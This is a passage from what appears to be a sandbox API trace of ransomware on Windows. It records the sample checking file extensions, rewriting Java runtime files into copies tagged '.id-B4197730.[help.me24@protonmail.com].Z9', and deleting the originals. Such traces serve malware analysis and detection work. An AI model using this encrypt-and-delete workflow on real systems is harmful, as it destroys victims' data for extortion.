	[0095.084] lstrlenW (lpString=".7z") returned 3
	[0095.084] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0095.084] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56
	[0095.084] lstrlenW (lpString=".dbf") returned 4
	[0095.084] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0095.084] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56
	[0095.085] lstrlenW (lpString=".1cd") returned 4
	[0095.085] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0095.085] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56
	[0095.085] lstrlenW (lpString=".jpg") returned 4
	[0095.085] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0095.085] lstrcmpiW (lpString1=".exe", lpString2=".Z9") returned -1
	[0095.085] lstrlenW (lpString="servertool.exe") returned 14
	[0095.085] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0095.094] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=16448) returned 1
	[0095.094] CloseHandle (hObject=0x37c) returned 1
	[0095.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe")) returned 0x20
	[0095.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0095.094] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0095.094] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.094] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.094] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0095.095] GetLastError () returned 0x0
	[0095.095] ReadFile (in: hFile=0x37c, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x4040, lpOverlapped=0x0) returned 1
	[0095.137] WriteFile (in: hFile=0x2b8, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x4050, lpOverlapped=0x0) returned 1
	[0095.139] ReadFile (in: hFile=0x37c, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0095.139] WriteFile (in: hFile=0x2b8, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xf0, lpOverlapped=0x0) returned 1
	[0095.139] SetEndOfFile (hFile=0x2b8) returned 1
	[0095.140] CloseHandle (hObject=0x2b8) returned 1
	[0095.140] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.140] SetEndOfFile (hFile=0x37c) returned 1
	[0095.141] CloseHandle (hObject=0x37c) returned 1
	[0095.141] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0095.141] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe")) returned 1
	[0095.141] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53
	[0095.141] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53
	[0095.141] lstrlenW (lpString=".doc") returned 4
	[0095.141] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0095.141] lstrlenW (lpString=".docx") returned 5
	[0095.141] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1
	[0095.141] lstrlenW (lpString=".pdf") returned 4
	[0095.141] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0095.141] lstrlenW (lpString=".xls") returned 4
	[0095.141] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0095.141] lstrlenW (lpString=".xlsx") returned 5
	[0095.141] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1
	[0095.141] lstrlenW (lpString=".ppt") returned 4
	[0095.141] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0095.141] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53
	[0095.141] lstrlenW (lpString=".zip") returned 4
	[0095.141] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0095.142] lstrlenW (lpString=".rar") returned 4
	[0095.142] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0095.142] lstrlenW (lpString=".bz2") returned 4
	[0095.142] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0095.142] lstrlenW (lpString=".7z") returned 3
	[0095.142] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0095.142] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53
	[0095.142] lstrlenW (lpString=".dbf") returned 4
	[0095.142] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0095.142] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53
	[0095.142] lstrlenW (lpString=".1cd") returned 4
	[0095.142] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0095.142] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53
	[0095.142] lstrlenW (lpString=".jpg") returned 4
	[0095.142] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0095.142] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53
	[0095.142] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53
	[0095.142] lstrlenW (lpString=".doc") returned 4
	[0095.142] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0095.142] lstrlenW (lpString=".docx") returned 5
	[0095.142] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1
	[0095.142] lstrlenW (lpString=".pdf") returned 4
	[0095.142] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0095.142] lstrlenW (lpString=".xls") returned 4
	[0095.142] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0095.142] lstrlenW (lpString=".xlsx") returned 5
	[0095.142] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1
	[0095.142] lstrlenW (lpString=".ppt") returned 4
	[0095.142] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0095.142] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53
	[0095.142] lstrlenW (lpString=".zip") returned 4
	[0095.142] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0095.142] lstrlenW (lpString=".rar") returned 4
	[0095.142] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0095.142] lstrlenW (lpString=".bz2") returned 4
	[0095.143] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0095.143] lstrlenW (lpString=".7z") returned 3
	[0095.143] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0095.143] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53
	[0095.143] lstrlenW (lpString=".dbf") returned 4
	[0095.143] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0095.143] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53
	[0095.143] lstrlenW (lpString=".1cd") returned 4
	[0095.143] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0095.143] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53
	[0095.143] lstrlenW (lpString=".jpg") returned 4
	[0095.143] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0095.143] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0095.143] lstrlenW (lpString="splashscreen.dll") returned 16
	[0095.143] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0095.143] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=204864) returned 1
	[0095.143] CloseHandle (hObject=0x37c) returned 1
	[0095.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll")) returned 0x20
	[0095.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0095.144] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0095.144] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.144] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.144] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0095.144] GetLastError () returned 0x0
	[0095.144] ReadFile (in: hFile=0x37c, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x32040, lpOverlapped=0x0) returned 1
	[0095.190] WriteFile (in: hFile=0x2b8, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x32050, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x32050, lpOverlapped=0x0) returned 1
	[0095.194] ReadFile (in: hFile=0x37c, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0095.194] WriteFile (in: hFile=0x2b8, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xf4, lpOverlapped=0x0) returned 1
	[0095.194] SetEndOfFile (hFile=0x2b8) returned 1
	[0095.194] CloseHandle (hObject=0x2b8) returned 1
	[0095.194] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.194] SetEndOfFile (hFile=0x37c) returned 1
	[0095.196] CloseHandle (hObject=0x37c) returned 1
	[0095.196] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0095.196] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll")) returned 1
	[0095.196] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55
	[0095.197] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55
	[0095.197] lstrlenW (lpString=".doc") returned 4
	[0095.197] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0095.197] lstrlenW (lpString=".docx") returned 5
	[0095.197] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0095.197] lstrlenW (lpString=".pdf") returned 4
	[0095.197] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0095.197] lstrlenW (lpString=".xls") returned 4
	[0095.197] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0095.197] lstrlenW (lpString=".xlsx") returned 5
	[0095.197] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0095.197] lstrlenW (lpString=".ppt") returned 4
	[0095.197] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0095.197] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55
	[0095.197] lstrlenW (lpString=".zip") returned 4
	[0095.197] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0095.197] lstrlenW (lpString=".rar") returned 4
	[0095.197] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0095.197] lstrlenW (lpString=".bz2") returned 4
	[0095.197] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0095.197] lstrlenW (lpString=".7z") returned 3
	[0095.197] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0095.197] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55
	[0095.197] lstrlenW (lpString=".dbf") returned 4
	[0095.197] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0095.197] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55
	[0095.197] lstrlenW (lpString=".1cd") returned 4
	[0095.197] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0095.197] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55
	[0095.197] lstrlenW (lpString=".jpg") returned 4
	[0095.197] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0095.197] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55
	[0095.197] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55
	[0095.197] lstrlenW (lpString=".doc") returned 4
	[0095.197] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0095.197] lstrlenW (lpString=".docx") returned 5
	[0095.198] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0095.198] lstrlenW (lpString=".pdf") returned 4
	[0095.198] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0095.198] lstrlenW (lpString=".xls") returned 4
	[0095.198] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0095.198] lstrlenW (lpString=".xlsx") returned 5
	[0095.198] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0095.198] lstrlenW (lpString=".ppt") returned 4
	[0095.198] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0095.198] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55
	[0095.198] lstrlenW (lpString=".zip") returned 4
	[0095.198] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0095.198] lstrlenW (lpString=".rar") returned 4
	[0095.198] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0095.198] lstrlenW (lpString=".bz2") returned 4
	[0095.198] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0095.198] lstrlenW (lpString=".7z") returned 3
	[0095.198] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0095.198] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55
	[0095.198] lstrlenW (lpString=".dbf") returned 4
	[0095.198] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0095.198] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55
	[0095.198] lstrlenW (lpString=".1cd") returned 4
	[0095.198] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0095.198] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55
	[0095.198] lstrlenW (lpString=".jpg") returned 4
	[0095.198] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0095.198] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0095.198] lstrlenW (lpString="ssv.dll") returned 7
	[0095.198] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0095.199] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=571968) returned 1
	[0095.199] CloseHandle (hObject=0x37c) returned 1
	[0095.199] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssv.dll")) returned 0x20
	[0095.199] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssv.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0095.199] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0095.199] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.199] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.199] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssv.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0095.199] GetLastError () returned 0x0
	[0095.199] ReadFile (in: hFile=0x37c, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x8ba40, lpOverlapped=0x0) returned 1
	[0095.293] WriteFile (in: hFile=0x2b8, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x8ba50, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x8ba50, lpOverlapped=0x0) returned 1
	[0095.303] ReadFile (in: hFile=0x37c, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0095.303] WriteFile (in: hFile=0x2b8, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xe2, lpOverlapped=0x0) returned 1
	[0095.304] SetEndOfFile (hFile=0x2b8) returned 1
	[0095.304] CloseHandle (hObject=0x2b8) returned 1
	[0095.304] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.305] SetEndOfFile (hFile=0x37c) returned 1
	[0095.310] CloseHandle (hObject=0x37c) returned 1
	[0095.310] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0095.310] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssv.dll")) returned 1
	[0095.310] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46
	[0095.310] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46
	[0095.310] lstrlenW (lpString=".doc") returned 4
	[0095.310] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0095.310] lstrlenW (lpString=".docx") returned 5
	[0095.310] lstrcmpiW (lpString1=".docx", lpString2="v.dll") returned -1
	[0095.310] lstrlenW (lpString=".pdf") returned 4
	[0095.310] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0095.310] lstrlenW (lpString=".xls") returned 4
	[0095.311] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0095.311] lstrlenW (lpString=".xlsx") returned 5
	[0095.311] lstrcmpiW (lpString1=".xlsx", lpString2="v.dll") returned -1
	[0095.311] lstrlenW (lpString=".ppt") returned 4
	[0095.311] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0095.311] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46
	[0095.311] lstrlenW (lpString=".zip") returned 4
	[0095.311] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0095.311] lstrlenW (lpString=".rar") returned 4
	[0095.311] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0095.311] lstrlenW (lpString=".bz2") returned 4
	[0095.311] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0095.311] lstrlenW (lpString=".7z") returned 3
	[0095.311] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0095.311] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46
	[0095.311] lstrlenW (lpString=".dbf") returned 4
	[0095.311] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0095.311] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46
	[0095.311] lstrlenW (lpString=".1cd") returned 4
	[0095.311] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0095.311] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46
	[0095.311] lstrlenW (lpString=".jpg") returned 4
	[0095.311] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0095.311] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46
	[0095.311] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46
	[0095.311] lstrlenW (lpString=".doc") returned 4
	[0095.311] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0095.311] lstrlenW (lpString=".docx") returned 5
	[0095.311] lstrcmpiW (lpString1=".docx", lpString2="v.dll") returned -1
	[0095.311] lstrlenW (lpString=".pdf") returned 4
	[0095.311] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0095.311] lstrlenW (lpString=".xls") returned 4
	[0095.311] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0095.311] lstrlenW (lpString=".xlsx") returned 5
	[0095.311] lstrcmpiW (lpString1=".xlsx", lpString2="v.dll") returned -1
	[0095.312] lstrlenW (lpString=".ppt") returned 4
	[0095.312] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0095.312] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46
	[0095.312] lstrlenW (lpString=".zip") returned 4
	[0095.312] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0095.312] lstrlenW (lpString=".rar") returned 4
	[0095.312] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0095.312] lstrlenW (lpString=".bz2") returned 4
	[0095.312] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0095.312] lstrlenW (lpString=".7z") returned 3
	[0095.312] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0095.312] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46
	[0095.312] lstrlenW (lpString=".dbf") returned 4
	[0095.312] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0095.312] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46
	[0095.312] lstrlenW (lpString=".1cd") returned 4
	[0095.312] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0095.312] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46
	[0095.312] lstrlenW (lpString=".jpg") returned 4
	[0095.312] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0095.312] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0095.312] lstrlenW (lpString="t2k.dll") returned 7
	[0095.312] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
